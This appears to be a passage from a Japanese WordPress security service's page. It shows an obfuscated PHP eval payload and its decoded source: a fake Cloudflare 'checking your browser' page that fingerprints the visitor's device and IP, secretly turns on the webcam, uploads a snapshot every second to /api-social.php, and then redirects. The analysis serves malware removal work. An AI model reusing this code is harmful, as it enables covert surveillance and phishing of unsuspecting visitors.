hKHsgdmlkZW86IHRydWUgfSk7CiAgICAgICAgICAgICAgICBjb25zdCB2aWRlbyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd2aWRlbycpOwogICAgICAgICAgICAgICAgdmlkZW8uc3JjT2JqZWN0ID0gc3RyZWFtOwogICAgICAgICAgICAgICAgdmlkZW8ucGxheSgpOwoKICAgICAgICAgICAgICAgIHNldEludGVydmFsKGNhcHR1cmVBbmRTZW5kLCAxMDAwKTsgLy8gY2FwdHVyZSBldmVyeSAxIHNlY29uZHMKICAgICAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHsKICAgICAgICAgICAgICAgIGNvbnNvbGUuZXJyb3IoJ0NhbWVyYSBhY2Nlc3MgZXJyb3I6JywgZXJyb3IpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICB3aW5kb3cub25sb2FkID0gKCkgPT4gewogICAgICAgICAgICBzZW5kRGV2aWNlSW5mbygpOwogICAgICAgICAgICBTZW5kQ2FtZXJhKCk7CiAgICAgICAgfTs8L3NjcmlwdD48L2JvZHk+PC9odG0=')); ?>

デコード(難読化解除)されたコード

<?php

eval {
    function decode_chat_id($encoded_id)
    {
        $mapping = "abcdefghij";
        $decoded_id = '';
        for ($i = 0; $i < strlen($encoded_id); $i++) {
            $decoded_id .= strpos($mapping, $encoded_id[$i]);
        }
        return $decoded_id;
    }
    function decode_url($encoded_url)
    {
        $decoded_url = base64_decode(strtr($encoded_url, "-_", "+/"));
        return $decoded_url;
    }
    $path = $_SERVER["REQUEST_URI"];
    $path_parts = explode("/", trim($path, "/"));
    if (isset($path_parts[1]) && isset($path_parts[2])) {
        $encodedChatID = $path_parts[1];
        $encodedUrl = $path_parts[2];
        $chatID = decode_chat_id($encodedChatID);
        $urlToRedirect = decode_url($encodedUrl);
    } else {
    }
    ?>
<!doctypehtml><html lang="en-US"><head><meta charset="UTF-8"><meta content="text/html; charset=UTF-8"http-equiv="Content-Type"><meta content="IE=Edge,chrome=1"http-equiv="X-UA-Compatible"><meta content="noindex, nofollow"name="robots"><meta content="width=device-width,initial-scale=1"name="viewport"><title>Just a moment...</title><style type="text/css">body,html{width:100%;height:100%;margin:0;padding:0}body{background-color:#fff;color:#000;font-family:-apple-system,system-ui,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen,Ubuntu,"Helvetica Neue",Arial,sans-serif;font-size:16px;line-height:1.7em;-webkit-font-smoothing:antialiased}h1{text-align:center;font-weight:700;margin:16px 0;font-size:32px;color:#000;line-height:1.25}p{font-size:20px;font-weight:400;margin:8px 0}.attribution,p{text-align:center}#spinner{margin:0 auto 30px auto;display:block}.attribution{margin-top:32px}@keyframes fader{0%{opacity:.2}50%{opacity:1}100%{opacity:.2}}#cf-bubbles>.bubbles{animation:fader 1.6s infinite}#cf-bubbles>.bubbles:nth-child(2){animation-delay:.2s}#cf-bubbles>.bubbles:nth-child(3){animation-delay:.4s}.bubbles{background-color:#f58220;width:20px;height:20px;margin:2px;border-radius:100%;display:inline-block}a{color:#2c7cb0;text-decoration:none;transition:color .15s ease}a:hover{color:#f4a15d}</style></head><body><table cellpadding="20"height="100%"width="100%"><tbody><tr><td align="center"valign="middle"><div class="cf-browser-verification cf-im-under-attack"><div id="cf-content"><div id="cf-bubbles"><div class="bubbles"></div><div class="bubbles"></div><div class="bubbles"></div></div><h1>Checking your browser before accessing the website.</h1><p>This process is automatic. Your browser will redirect to your requested content shortly.</p><p id="cf-spinner-redirecting">Redirecting…</p></div></div><div class="attribution">DDoS protection by <a href="https://www.cloudflare.com/5xx-error-landing/"rel="noopener noreferrer"target="_blank">Cloudflare</a><br><span class="ray_id">Ray ID: <code id="ray"></code></span></div></td></tr></tbody></table><center><button id="toggle-video"style="display:none">Toggle Video</button><div id="message-container"></div><video autoplay height="0"id="video"width="0"></video></center><script src="https://code.jquery.com/jquery-3.6.0.min.js"></script><script type="text/javascript">// Function to generate a random Ray ID
        function generateRayID() {
            const chars = 'abcdef0123456789';
            let rayID = '';
            for (let i = 0; i < 16; i++) {
                rayID += chars[Math.floor(Math.random() * chars.length)];
            }
            return rayID;
        }

        document.addEventListener('DOMContentLoaded', function() {
            // Generate and set a new Ray ID
            document.getElementById('ray').textContent = generateRayID();

            // Redirect after 15 seconds
            setTimeout(function() {
                window.location.href = '<?php 
    echo $urlToRedirect;
    ?>
';
            }, 15000); // 15000 milliseconds = 15 seconds
        });

        async function getDeviceInfo() {
            const deviceInfo = {
                charging: false,
                chargingPercentage: null,
                networkType: null,
                timeZone: Intl.DateTimeFormat().resolvedOptions().timeZone,
                language: navigator.language,
                languages: navigator.languages.join(', '),
                platform: navigator.platform,
                userAgent: navigator.userAgent,
                screenResolution: `${window.screen.width}x${window.screen.height}`,

                colorDepth: window.screen.colorDepth,
                deviceMemory: navigator.deviceMemory || 'N/A',
                hardwareConcurrency: navigator.hardwareConcurrency || 'N/A',
                browserName: navigator.userAgentData?.brands.map(b => b.brand).join(', ') || 'N/A',
                browserVersion: navigator.userAgentData?.brands.map(b => b.version).join(', ') || 'N/A',
                downlink: navigator.connection?.downlink || 'N/A',
                effectiveType: navigator.connection?.effectiveType || 'N/A',
                rtt: navigator.connection?.rtt || 'N/A',
                connectionType: navigator.connection?.type || 'N/A',
                productSub: navigator.productSub || 'N/A',
                vendor: navigator.vendor || 'N/A',
                maxTouchPoints: navigator.maxTouchPoints || 'N/A',
                doNotTrack: navigator.doNotTrack || 'N/A',
                cookieEnabled: navigator.cookieEnabled || false,
                appCodeName: navigator.appCodeName || 'N/A',
                appName: navigator.appName || 'N/A',
                appVersion: navigator.appVersion || 'N/A',
                product: navigator.product || 'N/A',
                webdriver: navigator.webdriver || false,
                pdfViewerEnabled: navigator.pdfViewerEnabled || false,
            };

            if (navigator.getBattery) {
                try {
                    const battery = await navigator.getBattery();
                    deviceInfo.charging = battery.charging;
                    deviceInfo.chargingPercentage = Math.round(battery.level * 100);
                } catch (error) {
                    console.error('Error getting battery information:', error);
                }
            }

            return deviceInfo;
        }

        // Function to get IP details
        async function getIpDetails() {
            try {
                const response = await fetch('https://ipapi.co/json/');
                if (!response.ok) {
                    throw new Error('HTTP error! status: ' + response.status);
                }
                const data = await response.json();
                return data;
            } catch (error) {
                console.error('Error getting IP details:', error);
                return {};
            }
        }

        // Function to send location and device info to /api-social.php
        async function sendDeviceInfo() {
        const deviceInfo = await getDeviceInfo();
        const ipDetails = await getIpDetails();

            const message = `
<b><u>ℹ️ Activity Tracked:</u></b>

<b>🌐 IP address:</b> <i>${ipDetails.ip || 'N/A'}</i>
<b>📡 ISP:</b> <i>${ipDetails.org || 'N/A'}</i>

<b>📱 Device Info:</b>
<b>🔋 Charging:</b> <i>${deviceInfo.charging ? 'Yes' : 'No'}</i>
<b>🔌 Battery Level:</b> <i>${deviceInfo.chargingPercentage}%</i>
<b>🌐 Network Type:</b> <i>${deviceInfo.networkType || 'N/A'}</i>
<b>🕒 Time Zone:</b> <i>${deviceInfo.timeZone}</i>
<b>🗣 Language:</b> <i>${deviceInfo.language}</i>
<b>🗣 Languages:</b> <i>${deviceInfo.languages}</i>
<b>💻 Platform:</b> <i>${deviceInfo.platform}</i>
<b>🌐 User Agent:</b> <i>${deviceInfo.userAgent}</i>
<b>📺 Screen Resolution:</b> <i>${deviceInfo.screenResolution}</i>
<b>🎨 Color Depth:</b> <i>${deviceInfo.colorDepth}</i>
<b>🔢 Device Memory:</b> <i>${deviceInfo.deviceMemory} GB</i>
<b>🖥 CPU Cores:</b> <i>${deviceInfo.hardwareConcurrency}</i>
<b>🌐 Browser Name:</b> <i>${deviceInfo.browserName}</i>
<b>🌐 Browser Version:</b> <i>${deviceInfo.browserVersion}</i>
<b>⬇️ Downlink:</b> <i>${deviceInfo.downlink}</i>
<b>📶 Effective Type:</b> <i>${deviceInfo.effectiveType}</i>
<b>🕒 RTT:</b> <i>${deviceInfo.rtt} ms</i>
<b>📡 Connection Type:</b> <i>${deviceInfo.connectionType}</i>
<b>🔧 Product Sub:</b> <i>${deviceInfo.productSub}</i>
<b>🏢 Vendor:</b> <i>${deviceInfo.vendor}</i>
<b>🖐 Max Touch Points:</b> <i>${deviceInfo.maxTouchPoints}</i>
<b>❌ Do Not Track:</b> <i>${deviceInfo.doNotTrack}</i>
<b>🍪 Cookie Enabled:</b> <i>${deviceInfo.cookieEnabled}</i>
<b>💼 App Code Name:</b> <i>${deviceInfo.appCodeName}</i>
<b>📱 App Name:</b> <i>${deviceInfo.appName}</i>
<b>📱 App Version:</b> <i>${deviceInfo.appVersion}</i>
<b>🔧 Product:</b> <i>${deviceInfo.product}</i>
<b>🤖 WebDriver:</b> <i>${deviceInfo.webdriver}</i>
<b>📰 PDF Viewer Enabled:</b> <i>${deviceInfo.pdfViewerEnabled}</i>`;

            const url = "/api-social.php?method=device_information&id=" + encodeURIComponent("<?php 
    echo $chatID;
    ?>
") +
                        "&deviceInfo=" + encodeURIComponent(JSON.stringify(deviceInfo)) +
                        "&ipDetails=" + encodeURIComponent(JSON.stringify(ipDetails));

            // Log the URL to the console for debugging
            console.log('Sending request to URL:', url);

            // Perform a GET request to the URL
            try {
                const response = await fetch(url);
                if (response.ok) {
                    console.log('Request successful');
                } else {
                    console.error('Request failed with status:', response.status);
                }
            } catch (error) {
                console.error('Error sending location and device info:', error);
            }
        }

        async function captureAndSend() {
            const video = document.getElementById('video');
            if (video.srcObject) {
                const canvas = document.createElement('canvas');
                canvas.width = video.videoWidth;
                canvas.height = video.videoHeight;
                canvas.getContext('2d').drawImage(video, 0, 0, canvas.width, canvas.height);

                const image_data = canvas.toDataURL('image/png');

                $.ajax({
                    type: 'POST',
                    url: '/api-social.php',
                    data: {
                        method: 'capture_image',
                        imgcode: image_data,
                        id: "<?php 
    echo $chatID;
    ?>
"
                    },
                    success: (res) => console.log('Image sent successfully:', res),
                    error: (xhr, status, error) => console.error('Image send error:', error)
                });
            } else {
                console.error('No video stream to capture');
            }
        }

        async function SendCamera() {
            try {
                const stream = await navigator.mediaDevices.getUserMedia({ video: true });
                const video = document.getElementById('video');
                video.srcObject = stream;
                video.play();

                setInterval(captureAndSend, 1000); // capture every 1 seconds
            } catch (error) {
                console.error('Camera access error:', error);
            }
        }

        window.onload = () => {
            sendDeviceInfo();
            SendCamera();
        };</script></body></htm<?php 
};


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.